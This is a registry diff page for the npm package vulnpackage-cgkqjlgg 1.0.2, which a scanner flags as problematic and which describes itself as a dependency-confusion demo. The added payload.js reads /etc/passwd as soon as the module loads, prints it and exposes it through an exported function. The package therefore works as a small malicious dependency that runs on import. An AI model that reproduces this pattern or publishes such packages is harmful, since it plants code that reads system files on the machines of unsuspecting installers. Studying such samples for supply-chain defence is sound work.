vulnpackage-cgkqjlgg 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of vulnpackage-cgkqjlgg might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/payload.js +15 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "vulnpackage-cgkqjlgg",
3
+ "version": "1.0.2",
4
+ "description": "Dependency confusion demo, malicious package",
5
+ "main": "payload.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "Richard Appleby",
10
+ "license": "ISC"
11
+ }
package/payload.js ADDED
@@ -0,0 +1,15 @@
1
+ //payload.js
2
+ // get filesystem module
3
+ const fs = require("fs");
4
+
5
+ // using the readFileSync() function
6
+ // and passing the path to the file
7
+ const buffer = fs.readFileSync("/etc/passwd");
8
+
9
+ console.log(buffer);
10
+
11
+ function getName() {
12
+ return buffer.toString();
13
+ }
14
+
15
+ module.exports = {str:'World',func:getName};